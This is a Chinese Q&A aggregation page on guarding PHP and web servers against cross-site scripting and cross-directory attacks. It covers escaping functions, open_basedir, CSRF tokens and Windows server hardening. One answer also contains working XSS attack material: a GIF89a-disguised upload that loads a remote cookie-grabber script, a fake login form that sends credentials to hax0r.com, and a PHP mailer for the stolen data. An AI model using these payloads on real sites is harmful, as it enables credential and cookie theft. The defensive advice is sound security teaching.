当前位置:首页 » 编程语言 » php防跨站

php防跨站

发布时间: 2023-01-02 22:49:40

php网站怎样解决跨站脚本攻击漏洞

这应该是一套开源的CMS系统,每套CMS系统源码不一样,但是只要发现$_GET,$_REQUEST这样的代码,都可以改成$out = htmlspecialchars($_GET[XXX],ENT_QUOTES)

⑵ php配置防跨站、防跨目录安全

现在很多网站都是采用php建站,不少都是直接使用现在成熟的cms程序,这些php开发的cms系统本身安全性可能并不高,这时就需要我们在服务器做一些针对php程序配置防跨站、防跨目录等一些设置,可以有效的防止服务器上所有的php网站被恶意篡改。
适用范围及演示系统
适用范围:php5.3及以上版本
演示系统:centos
防跨站、防跨目录安全设置方法
第1步:登录到linux系统终端。
第2步:找到并打开php配置文件。
第3步:在php.ini最底部添加以下代码,并保存。大家可就按以下代码改成自己网站的配置即可。
[HOST=www.45it.com]
open_basedir=/wwwroot/www.45it.com/:/tmp/
[PATH=/wwwroot/www.45it.com]
open_basedir=/wwwroot/www.45it.com/:/tmp/
注:就如上代码添加完之后就是防跨站防跨目录的安全配置了,但是有一些缺点,就是比如说我们运行一些php探针等一些程序可能就是无法正常运行了,如果想让网站正常运行php探针的话需要在/tmp/后加上:/proc/
第4步:添加完代码并保存php.ini,之后重启php服务即可生效。

⑶ thinkphp怎么防止跨站请求

TP当中有一个叫 “表单令牌" 的东西,再每个表单中插入 表单令牌, 可以令网站避免csrf请求。

⑷ if ( ! defined('BASEPATH')) exit('No direct script access allowed');

保护php文件,防止跨站攻击直接访问该文件路径,如果直接访问,会得到不允许直接访问脚本的一个提示.

⑸ 跨站攻击的如何防范

在你的WEB浏览器上禁用java脚本,具体方法,先打开你的IE的internet选项,切换到“安全”页,有个“自定义”级别,点他出现如下窗口,禁用就可以了。但是好象不太可能,因为一旦禁用,很多功能就丧失了,这个方法是下策。
还有不要访问包含〈〉字符的连接,当然一些官方的URL不会包括任何脚本元素。
如果你的站点程序含论坛,留言板,以及其他程序中含提交数据格式的,没有很好过滤机制,请马上下载升级程序或是停止使用ubb这样的功能,避免造成更多的问题。
跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧 这里所说的形式,实际上是指CGI输入的形式,主要分为两种:
1.显示输入
2.隐式输入
其中显示输入明确要求用户输入数据,而隐式输入则本来并不要求用户输入数据,但是用户却可以通过输入数据来进行干涉。
显示输入又可以分为两种:
1. 输入完成立刻输出结果
2. 输入完成先存储在文本文件或数据库中,然后再输出结果
注意:后者可能会让你的网站面目全非!
而隐式输入除了一些正常的情况外,还可以利用服务器或CGI程序处理错误信息的方式来实施。 大家最关心的大概就要算这个问题了,下面列举的可能并不全面,也不系统,但是我想应该是比较典型的吧。
1. 获取其他用户Cookie中的敏感数据
2. 屏蔽页面特定信息
3. 伪造页面信息
4.拒绝服务攻击
5. 突破外网内网不同安全设置
6. 与其它漏洞结合,修改系统设置,查看系统文件,执行系统命令等
7. 其它
一般来说,上面的危害还经常伴随着页面变形的情况。而所谓跨站脚本执行漏洞,也就是通过别人的网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。 出于时间的考虑,我在这里将主要讲一下理论了,相信不是很难懂,如果实在有问题,那么去找本书看吧。
1. URL编码
比较一下:
http://www.5460.net/txl/login/login.pl?username= &passwd=&ok.x=28&ok.y=6
http://www.5460.net/txl/login/login.pl?username=%3C%68%31%3E&passwd=&ok.x=28&ok.y=6
你觉得哪个更有隐蔽性?!
2. 隐藏在其它对象之下
与直接给别人一个链接相比,你是否决定把该链接隐藏在按钮以下更好些呢?
3. 嵌入页面中
让别人访问一个地址(注意这里的地址不同于上面提到的URL),是不是又要比让别人按一个按钮容易得多,借助于Iframe,你可以把这种攻击变得更隐蔽。
4. 合理利用事件
合理使用事件,在某些情况上可以绕过CGI程序对输入的限制,比如说前些日子的SecurityFocus的跨站脚本执行漏洞。 一般情况下直接进行类似alert(document.cookie)之类的攻击没有什么问题,但是有时 CGI程序对用户的输入进行了一些处理,比如说包含在’’或””之内,这时我们就需要使用一些小技巧来绕过这些限制。
如果你对HTML语言比较熟悉的话,绕过这些限制应该不成问题。 要避免受到跨站脚本执行漏洞的攻击,需要程序员和用户两方面共同努力:
程序员:
1. 过滤或转换用户提交数据中的HTML代码
2. 限制用户提交数据的长度
用户:
1. 不要轻易访问别人给你的链接
2. 禁止浏览器运行JavaScript和ActiveX代码
附:常见浏览器修改设置的位置为:
Internet Explorer:
工具->Internet选项->安全->Internet->自定义级别
工具->Internet选项->安全->Intranet->自定义级别
Opera:>文件->快速参数->允许使用Java
文件->快速参数->允许使用插件
文件->快速参数->允许使用JavaScript Q:跨站脚本执行漏洞在哪里存在?
A:只要是CGI程序,只要允许用户输入,就可能存在跨站脚本执行漏洞。
Q:跨站脚本执行漏洞是不是只能偷别人的Cookie?
A:当然不是!HTML代码能做的,跨站脚本执行漏洞基本都能做。
解决 ubuntu server 的跨站攻击
apache 默认开启了TRACE功能(TraceEnable=on),Ubuntu Server也不例外。用x-scan扫描发现此功能存在存在跨站攻击漏洞,并且提出了解决办法,在配置文件中添加如下语句:
RewriteEngine on
RewriteCond % ^(TRACE|TRACK)
RewriteRule .* - [F]
问题是不知道该放那里,找一天都没发现。尝试在/etc/apache2/httpd.conf里添加,怎么都没反应。网上一般就是打开虚拟机的 AllowOverride,然后在.htaccess文件中添加。但整个配置文件都可以修改,没理由要这样做......奇迹就发生在重启的瞬间,竟然连不上服务器。跑到实验室发现,重启正常,无奈之下竟发现还有一个sites-available的目录,里面的default文件才是所谓的配置文件,汗死...
添加后可通过 telnet 127.0.0.1 80 确认是否修复该漏洞,输入:
TRACE / HTTP/1.1
Host: 202.192.33.250
X-Header: test
回车后返回:
HTTP/1.1 403 Forbidden
Date: Sun, 08 Oct 2006 11:32:11 GMT
Server: Apache/2.0.55 (Ubuntu) PHP/5.1.2
(注:windows的telnet默认没有打开输入回显) 举个例子,我们来新建一个hack.gif文件.然后用记事本打开文件,删除所有的内容,然后写入代码
GIF89a<script>alert(XSS)</script>
保存退出.
上传hack.gif到相就的地方...此时跨站发生
不要用Mozillia Firefox来访问那张图片,Mozillia 不会执行我们的alert.要用Internet explorer.
为什么添加GIF89a ?
因为很多上传程序会来检查我们的gif文件是否包含 'GIF89a',如果包括则认为是gif文件.
code:GIF89a<script src=http://lovelaozang.cn/cookiegrabber.php></script>
我们需要知道一些其它格式图片,头部所包含的代码.
PNG = ‰PNG
GIF = GIF89a
JPG = ???à JFIF
BMP = BMF?
为了安全不要仅仅只检查getimagesize() 你是否明白什么是钓鱼?什么是XSS?
在这个例子里,有必需找到一个易受攻击的网站去XSS并注入那里,身于一种形式,以自己直接在网址以下代码
code:
<p>Enter your login and password, thank:</p>
<form action=http://hax0r.com/mail.php>
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value= OK >
</form>
这个通过这个模仿的表单,然后利用mail.php通过电子邮件把表单里的数据发送给你。
code:
<!DOCTYPE html PUBLIC -//W3C//DTD XHTML 1.0 Transitional//EN http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd>
<html xmlns=http://www.w3.org/1999/xhtml>
<head>
<meta http-equiv=Content-Type content=text/html; charset=iso-8859-1 />
<title>Error</title>
<style type=text/css>
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS[login];
$password = $HTTP_GET_VARS[password];
mail([email protected], Cookie stealed ! - thx xyli :), $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>

⑹ 如何防止跨站攻击~~~

除了自身的硬件条件外,还需要对你的服务器做出安全设置控制,用2003系统来说下具体安全设置如下:
1、服务器安全设置之--硬盘权限篇

这里着重谈需要的权限,也就是最终文件夹或硬盘需要的权限,可以防御各种木马入侵,提权攻击,跨站攻击等。本实例经过多次试验,安全性能很好,服务器基本没有被木马威胁的担忧了。

硬盘或文件夹: C:\ D:\ E:\ F:\ 类推
主要权限部分:
Administrators 完全控制 无
该文件夹,子文件夹及文件
<不是继承的>
CREATOR OWNER 完全控制
只有子文件夹及文件
<不是继承的>
SYSTEM 完全控制
该文件夹,子文件夹及文件
<不是继承的>

其他权限部分:
如果安装了其他运行环境,比如PHP等,则根据PHP的环境功能要求来设置硬盘权限,一般是安装目录加上users读取运行权限就足够了,比如c:\php的话,就在根目录权限继承的情况下加上users读取运行权限,需要写入数据的比如tmp文件夹,则把users的写删权限加上,运行权限不要,然后把虚拟主机用户的读权限拒绝即可。如果是mysql的话,用一个独立用户运行MYSQL会更安全,下面会有介绍。如果是winwebmail,则最好建立独立的应用程序池和独立IIS用户,然后整个安装目录有users用户的读/运行/写/权限,IIS用户则相同,这个IIS用户就只用在winwebmail的WEB访问中,其他IIS站点切勿使用
硬盘设置需要根据你的实际需要来设置权限!
2、服务器安全设置之--系统服务篇(设置完毕需要重新启动)

*除非特殊情况非开不可,下列系统服务要停止并禁用:
1、Alerter 2、Application Layer Gateway Service 3、
Background Intelligent Transfer Service
4、Computer Browser 5、Distributed File System 6、Help and Support 7、Messenger 8、NetMeeting Remote Desktop Sharing 9、Print Spooler 10、Remote Registry 11、Task Scheler 12、TCP/IP NetBIOS Helper 13、Telnet 14、Workstation 以上是windows2003server标准服务当中需要停止的服务,作为IIS网络服务器,以上服务务必要停止,如果需要SSL证书服务,则设置方法不同。如果你装有虚拟主机系统,设置当然也不一样!更详细设置可以根据自己的需要找更详细的参考资料。

3、服务器安全设置之--组件安全设置篇 (非常重要!!!)
A、卸载WScript.Shell 和 Shell.application 组件,将下面的代码保存为一个.BAT文件执行(分2000和2003系统)
win2000
regsvr32/u C:\WINNT\System32\wshom.ocx
del C:\WINNT\System32\wshom.ocx
regsvr32/u C:\WINNT\system32\shell32.dll
del C:\WINNT\system32\shell32.dll
win2003
regsvr32/u C:\WINDOWS\System32\wshom.ocx
del C:\WINDOWS\System32\wshom.ocx
regsvr32/u C:\WINDOWS\system32\shell32.dll
del C:\WINDOWS\system32\shell32.dll
B、改名不安全组件,需要注意的是组件的名称和Clsid都要改,并且要改彻底了,不要照抄,要自己改
【开始→运行→regedit→回车】打开注册表编辑器

然后【编辑→查找→填写Shell.application→查找下一个】

用这个方法能找到两个注册表项:

{13709620-C279-11CE-A49E-444553540000} 和 Shell.application 。

第一步:为了确保万无一失,把这两个注册表项导出来,保存为xxxx.reg 文件。

第二步:比如我们想做这样的更改

13709620-C279-11CE-A49E-444553540000 改名为 13709620-C279-11CE-A49E-444553540001

Shell.application 改名为 Shell.application_nohack

第三步:那么,就把刚才导出的.reg文件里的内容按上面的对应关系替换掉,然后把修改好的.reg文件导入到注册表中(双击即可),导入了改名后的注册表项之后,别忘记了删除原有的那两个项目。这里需要注意一点,Clsid中只能是十个数字和ABCDEF六个字母。

其实,只要把对应注册表项导出来备份,然后直接改键名就可以了。
WScript.Shell 和 Shell.application 组件是 脚本入侵过程中,提升权限的重要环节,这两个组件的卸载和修改对应注册键名,可以很大程度的提高虚拟主机的脚本安全性能,一般来说,ASP和php类脚本提升权限的功能是无法实现了,再加上一些系统服务、硬盘访问权限、端口过滤、本地安全策略的设置,虚拟主机因该说,安全性能有非常大的提高,黑客入侵的可能性是非常低了。注销了Shell组件之后,侵入者运行提升工具的可能性就很小了,但是prel等别的脚本语言也有shell能力,为防万一,还是设置一下为好。下面是另外一种设置,大同小异。
一、禁止使用FileSystemObject组件
FileSystemObject可以对文件进行常规操作,可以通过修改注册表,将此组件改名,来防止此类木马的危害。

HKEY_CLASSES_ROOT\Scripting.FileSystemObject\

改名为其它的名字,如:改为 FileSystemObject_ChangeName

自己以后调用的时候使用这个就可以正常调用此组件了

也要将clsid值也改一下

HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\项目的值

也可以将其删除,来防止此类木马的危害。

2000注销此组件命令:RegSrv32 /u C:\WINNT\SYSTEM\scrrun.dll

2003注销此组件命令:RegSrv32 /u C:\WINDOWS\SYSTEM\scrrun.dll

如何禁止Guest用户使用scrrun.dll来防止调用此组件?

使用这个命令:cacls C:\WINNT\system32\scrrun.dll /e /d guests

二、禁止使用WScript.Shell组件

WScript.Shell可以调用系统内核运行DOS基本命令

可以通过修改注册表,将此组件改名,来防止此类木马的危害。

HKEY_CLASSES_ROOT\WScript.Shell\及HKEY_CLASSES_ROOT\WScript.Shell.1\

改名为其它的名字,如:改为WScript.Shell_ChangeName 或 WScript.Shell.1_ChangeName

自己以后调用的时候使用这个就可以正常调用此组件了

也要将clsid值也改一下

HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值

HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\项目的值

也可以将其删除,来防止此类木马的危害。

三、禁止使用Shell.Application组件

Shell.Application可以调用系统内核运行DOS基本命令

可以通过修改注册表,将此组件改名,来防止此类木马的危害。

HKEY_CLASSES_ROOT\Shell.Application\



HKEY_CLASSES_ROOT\Shell.Application.1\

改名为其它的名字,如:改为Shell.Application_ChangeName 或 Shell.Application.1_ChangeName

自己以后调用的时候使用这个就可以正常调用此组件了

也要将clsid值也改一下

HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值

HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值

也可以将其删除,来防止此类木马的危害。

禁止Guest用户使用shell32.dll来防止调用此组件。

2000使用命令:cacls C:\WINNT\system32\shell32.dll /e /d guests
2003使用命令:cacls C:\WINDOWS\system32\shell32.dll /e /d guests

注:操作均需要重新启动WEB服务后才会生效。

四、调用Cmd.exe

禁用Guests组用户调用cmd.exe

2000使用命令:cacls C:\WINNT\system32\Cmd.exe /e /d guests
2003使用命令:cacls C:\WINDOWS\system32\Cmd.exe /e /d guests

通过以上四步的设置基本可以防范目前比较流行的几种木马,但最有效的办法还是通过综合安全设置,将服务器、程序安全都达到一定标准,才可能将安全等级设置较高,防范更多非法入侵。

C、防止Serv-U权限提升 (适用于 Serv-U6.0 以前版本,之后可以直接设置密码)
先停掉Serv-U服务

用Ultraedit打开ServUDaemon.exe

查找 Ascii:LocalAdministrator 和 #l@$ak#.lk;0@P

修改成等长度的其它字符就可以了,ServUAdmin.exe也一样处理。

另外注意设置Serv-U所在的文件夹的权限,不要让IIS匿名用户有读取的权限,否则人家下走你修改过的文件,照样可以分析出你的管理员名和密码。

4、服务器安全设置之--IIS用户设置方法
不同站点使用不用的IIS用户。另外权限的设置要细致。
5、服务器安全设置之--服务器安全和性能配置
把下面文本保存为: windows2000-2003服务器安全和性能注册表自动配置文件.reg 运行即可。[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoRecentDocsMenu"=hex:01,00,00,00
"NoRecentDocsHistory"=hex:01,00,00,00

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
"DontDisplayLastUserName"="1"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"restrictanonymous"=dword:00000001

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\Parameters]
"AutoShareServer"=dword:00000000
"AutoShareWks"=dword:00000000

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
"EnableICMPRedirect"=dword:00000000
"KeepAliveTime"=dword:000927c0
"SynAttackProtect"=dword:00000002
"TcpMaxHalfOpen"=dword:000001f4
"TcpMaxHalfOpenRetried"=dword:00000190
""=dword:00000001
"TcpMaxDataRetransmissions"=dword:00000003
"TCPMaxPortsExhausted"=dword:00000005
"DisableIPSourceRouting"=dword:00000002
"TcpTimedWaitDelay"=dword:0000001e
"TcpNumConnections"=dword:00004e20
"EnablePMTUDiscovery"=dword:00000000
"NoNameReleaseOnDemand"=dword:00000001
"EnableDeadGWDetect"=dword:00000000
"PerformRouterDiscovery"=dword:00000000
"EnableICMPRedirects"=dword:00000000

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]
"BacklogIncrement"=dword:00000005
"MaxConnBackLog"=dword:000007d0

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AFD\Parameters]
"EnableDynamicBacklog"=dword:00000001
"MinimumDynamicBacklog"=dword:00000014
"MaximumDynamicBacklog"=dword:00007530
"DynamicBacklogGrowthDelta"=dword:0000000a
功能:可抵御DDOS攻击2-3万包,提高服务器TCP-IP整体安全性能(效果等于软件防火墙,节约了系统资源)
6、服务器安全设置之--IP安全策略 (仅仅列出需要屏蔽或阻止的端口或协议)

协议 IP协议端口 源地址 目标地址 描述 方式
ICMP -- -- -- ICMP 阻止
UDP 135 任何IP地址 我的IP地址 135-UDP 阻止
UDP 136 任何IP地址 我的IP地址 136-UDP 阻止
UDP 137 任何IP地址 我的IP地址 137-UDP 阻止
UDP 138 任何IP地址 我的IP地址 138-UDP 阻止
UDP 139 任何IP地址 我的IP地址 139-UDP 阻止
TCP 445 任何IP地址-从任意端口 我的IP地址-445 445-TCP 阻止
UDP 445 任何IP地址-从任意端口 我的IP地址-445 445-UDP 阻止
UDP 69 任何IP地址-从任意端口 我的IP地址-69 69-入 阻止
UDP 69 我的IP地址-69 任何IP地址-任意端口 69-出 阻止
TCP 4444 任何IP地址-从任意端口 我的IP地址-4444 4444-TCP 阻止
TCP 1026 我的IP地址-1026 任何IP地址-任意端口 灰鸽子-1026 阻止
TCP 1027 我的IP地址-1027 任何IP地址-任意端口 灰鸽子-1027 阻止
TCP 1028 我的IP地址-1028 任何IP地址-任意端口 灰鸽子-1028 阻止
UDP 1026 我的IP地址-1026 任何IP地址-任意端口 灰鸽子-1026 阻止
UDP 1027 我的IP地址-1027 任何IP地址-任意端口 灰鸽子-1027 阻止
UDP 1028 我的IP地址-1028 任何IP地址-任意端口 灰鸽子-1028 阻止
TCP 21 我的IP地址-从任意端口 任何IP地址-到21端口 阻止tftp出站 阻止
TCP 99 我的IP地址-99 任何IP地址-任意端口 阻止99shell 阻止

以上是IP安全策略里的设置,可以根据实际情况,增加或删除端口
7、服务器安全设置之--本地安全策略设置

安全策略自动更新命令:GPUpdate /force (应用组策略自动生效不需重新启动)

开始菜单—>管理工具—>本地安全策略

A、本地策略——>审核策略

审核策略更改 成功 失败
审核登录事件 成功 失败
审核对象访问 失败
审核过程跟踪 无审核
审核目录服务访问 失败
审核特权使用 失败
审核系统事件 成功 失败
审核账户登录事件 成功 失败
审核账户管理 成功 失败
B、本地策略——>用户权限分配

关闭系统:只有Administrators组、其它全部删除。
通过终端服务拒绝登陆:加入Guests、User组
通过终端服务允许登陆:只加入Administrators组,其他全部删除

C、本地策略——>安全选项

交互式登陆:不显示上次的用户名 启用
网络访问:不允许SAM帐户和共享的匿名枚举 启用
网络访问:不允许为网络身份验证储存凭证 启用
网络访问:可匿名访问的共享 全部删除
网络访问:可匿名访问的命 全部删除
网络访问:可远程访问的注册表路径 全部删除
网络访问:可远程访问的注册表路径和子路径 全部删除
帐户:重命名来宾帐户 重命名一个帐户
帐户:重命名系统管理员帐户 重命名一个帐户

还有很多设置!你可以多找找资料!

⑺ 如何实现php的安全最大化怎样避免sql注入漏洞和xss跨站脚本攻击漏洞

使用php安全模式

服务器要做好管理,账号权限是否合理。

假定所有用户的输入都是“恶意”的,防止XSS攻击,譬如:对用户的输入输出做好必要的过滤

防止CSRF,表单设置隐藏域,post一个随机字符串到后台,可以有效防止跨站请求伪造。

文件上传,检查是否做好效验,要注意上传文件存储目录权限。

防御SQL注入。

避免SQL注入漏洞

1.使用预编译语句

2.使用安全的存储过程

3.检查输入数据的数据类型

4.从数据库自身的角度考虑,应该使用最小权限原则,不可使用root或dbowner的身份连接数据库。若多个应用使用同一个数据库,也应该为数据库分配不同的账户。web应用使用的数据库账户,不应该有创建自定义函数,操作本地文件的权限。

避免XSS跨站脚本攻击

1.假定所有用户输入都是“邪恶”的

2.考虑周全的正则表达式

3.为cookie设置HttpOnly,防止cookie劫持

4.外部js不一定可靠

5.出去不必要的HTML注释

6. 针对非法的HTML代码包括单双引号等,使用htmlspecialchars()函数。

⑻ nginx现在有什么方法防止跨站

Nginx防跨目录与跨站配置方法

Nginx有一个缺陷,就是没有像apache的php_value_basedir给我们限制php文件访问目录,PHP低版本下,fastcgi 模式
下open_base设置无效,PHP在PHP5.3.3以上已经增加了HOST配置,可以起到防跨站、跨目录的问题
如果你是PHP 5.3.3以上的版本,可以修改/usr/local/php/etc/php.ini在末尾里加入:
[HOST=111cn.net]
代码如下 复制代码

open_basedir=/home/wwwroot/111cn.net/:/tmp/
[PATH=/home/wwwroot/111cn.net]
open_basedir=/home/wwwroot/111cn.net/:/tmp/

修改好了。
最后重启下php-fpm:sudo /etc/init.d/php-fpm restart
OK,。这样设置后。就能增强系统的安全性,PHP目前,折腾也只能在他所在的目录下设置啦
如果你不是php5.3.3以上版本我们就只能如下操作了
1、解压php源代码不细说了。
2、执行编译./configure -- (自带参数)
3、修改源代码。此文件位于main/fopen_wrappers.c
代码如下 复制代码

/* {{{ php_check_open_basedir
*/
PHPAPI int php_check_open_basedir_ex(const char *path, int warn TSRMLS_DC)
{
/* Only check when open_basedir is available */
if (PG(open_basedir) && *PG(open_basedir)) {
char *pathbuf;
char *ptr;
char *end;

char *env_doc_root;
if(PG(doc_root)){
env_doc_root = estrp(PG(doc_root));
}
else{
env_doc_root = sapi_getenv("DOCUMENT_ROOT", sizeof("DOCUMENT_ROOT")-1 TSRMLS_CC);
}
if(env_doc_root){
int res_root = php_check_specific_open_basedir(env_doc_root, path TSRMLS_CC);
efree(env_doc_root);
if (res_root == 0) {
return 0;
}
if (res_root == -2) {
errno = EPERM;
return -1;
}
}
// 添加的内容结束
pathbuf = estrp(PG(open_basedir));
ptr = pathbuf;
while (ptr && *ptr) {
end = strchr(ptr, DEFAULT_DIR_SEPARATOR);
if (end != NULL) {
*end = '';
end++;
}
if (php_check_specific_open_basedir(ptr, path TSRMLS_CC) == 0) {
efree(pathbuf);
return 0;
}
ptr = end;
}
if (warn) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "open_basedir restriction in effect. File(%s) is not
within the allowed path(s): (%s)", path, PG(open_basedir));
}
efree(pathbuf);
errno = EPERM; /* we deny permission to open it */
return -1;
}
/* Nothing to check... */
return 0;
}
/* }}} */

然后执行
代码如下 复制代码

make ZEND_EXTRA_LIBS='-liconv' make install
cp php.ini-dist /usr/local/php/etc/php.ini最后修改php.ini中的open_basedir改为:open_basedir =
"/var/tmp/:/tmp/"

⑼ 如何防止跨站点脚本攻击

你好~
XSS漏洞产生的原因:

跨站点脚本的主要原因是程序猿对用户的信任。开发人员轻松地认为用户永远不会试图执行什么出格的事情,所以他们创建应用程序,却没有使用任何额外的代码来过滤用户输入以阻止任何恶意活动。另一个原因是,这种攻击有许多变体,用制造出一种行之有效的XSS过滤器是一件比较困难的事情。
但是这只是相对的,对用户输入数据的”编码”和”过滤”在任何时候都是很重要的,我们必须采取一些针对性的手段对其进行防御。

如何创造一个良好的XSS过滤器来阻止大多数XSS攻击代码

1 .需要重点”编码”和”过滤”的对象
The URL
HTTP referrer objects
GET parameters from a form
POST parameters from a form
Window.location
Document.referrer
document.location
document.URL
document.URLUnencoded
cookie data
headers data
database data

防御XSS有一个原则:
以当前的应用系统为中心,所有的进入应用系统的数据都看成是输入数据(包括从FORM表单或者从数据库获取到的数据),所有从当前应用系统流出的数据都看作是输出(包括输出到用户浏览器或向数据库写入数据)
对输入的数据进行”过滤”,对输出数据进行”编码”。这里的”编码”也要注意,必须针对数据具体的上下文语境进行针对性的编码。例如数据是输出到HTML中的那就要进行HtmlEncode,如果数据是输出到javascript代码中进行拼接的,那就要进行javascriptEncode。
如果不搞清楚数据具体输出的语境,就有可能因为HtmlParser()和javascriptParser()两种解析引擎的执行先后问题导致看似严密的”编码”形同虚设。

2. HtmlEncode HTML编码
它的作用是将字符转换成HTMLEntities,对应的标准是ISO-8859-1
为了对抗XSS,在HtmlEncode中要求至少转换以下字符:
& --> &
< --> <
> --> >
" --> "
' --> '
/ --> /
在PHP中:

htmlentities
http://www.w3school.com.cn/php/func_string_htmlentities.asp
htmlspecialchars
http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp
3. javascriptEncode javascript”编码”
javascriptEncode与HtmlEncode的编码方法不同,HtmlEncode是去编码,而javascriptEncode更多的像转义,它需要使用”\”对特殊字符进行转义。从原理上来讲,这都符合编码函数的一个大原则: 将数据和代码区分开,因为对于HTML Tag来说,我们对其进行”可视化(转换成可以见字符)”的编码可以将数据和HTML的界限分开。而对于javascript来说,我们除了要进行编码之外,还需要对特殊字符进行转义,这样攻击输入的用于”闭合”的特殊字符就无法发挥作用,从而避免XSS攻击,除此之外,在对抗XSS时,还要求输出的变量必须在引号内部,以避免造成安全问题。
escape()
http://www.w3school.com.cn/js/jsref_escape.asp
该方法不会对 ASCII 字母和数字进行编码,也不会对下面这些 ASCII 标点符号进行编码: * @ – _ + . / 。其他所有的字符都会被转义序列(十六进制\xHH)替换。
利用这个编码函数,不仅能防御XSS攻击,还可以防御一些command注入。

一些开源的防御XSS攻击的代码库:

PHP AntiXSS
这是一个不错的PHP库,可以帮助开发人员增加一层保护,防止跨站脚本漏洞。
https://code.google.com/p/php-antixss/
xss_clean.php filter
https://gist.github.com/mbijon/1098477
HTML Purifier
http://htmlpurifier.org/
xssprotect
https://code.google.com/p/xssprotect/
XSS HTML Filter
http://finn-no.github.io/xss-html-filter/

原文地址:http://resources.infosecinstitute.com/how-to-prevent-cross-site-scripting-attacks/

希望可以帮助到你~望采纳哦~谢谢~

⑽ php防止sql注入以及xss跨站脚本攻击

1.post数据

封装转义函数 防sql注入  eag:addslashes($username);​addslashes($password);​ 

eag:防止sql注入函数封装 

function deepslashes($data){

#判断$data的表现形式 并且需要处理空的情况

if(empty($data)){

return($data);

}​

#高级简写 return is_array($data) ? array_map('deepslashes',$data) : addslashes($data);

#初级写法​

if(is_array($data)){

#递归循环遍历处理多维数组

foreach ($data as $v) {

return deepslashes($v);

}

}else{

#单一变量

return addslashes($data);

}

#初级写法​​

}​

2.get数据​

指url 传参数导致sql发生改变

解决方案​

①强制转换,使用函数intval 或者 数据类型 的关键字int

②隐式转换,通过运算,只需要+0即可​

3.xss跨站脚本攻击​

​ 指恶意攻击向web页面插入html、js标签导致页面出现错误

解决方案

转义标签'<' '>'即可,有以下php函数可解决

htmlspecialchars 函数 和 htmlentites函数​

eag:

​function deepslashes($data){

#判断$data的表现形式 并且需要处理空的情况

if(empty($data)){

return($data);

}​

return is_array($data) ? array_map('deepslashes',$data) : htmlspecialchars ($data);

}​

热点内容
ntp服务器怎么搭建 发布:2025-07-05 02:51:53 浏览:770
谭浩强c语言基础 发布:2025-07-05 02:51:45 浏览:776
外地卡密码忘了怎么办 发布:2025-07-05 02:50:10 浏览:186
电脑配置点评怎么选 发布:2025-07-05 02:39:23 浏览:1002
如何配置与锌反应的稀硫酸 发布:2025-07-05 02:39:20 浏览:937
php分割文件 发布:2025-07-05 02:22:15 浏览:478
sql平均成绩语句 发布:2025-07-05 02:11:41 浏览:277
java脱机 发布:2025-07-05 02:11:35 浏览:66
php变量赋值给变量 发布:2025-07-05 02:10:56 浏览:558
javaequals方法 发布:2025-07-05 01:57:23 浏览:98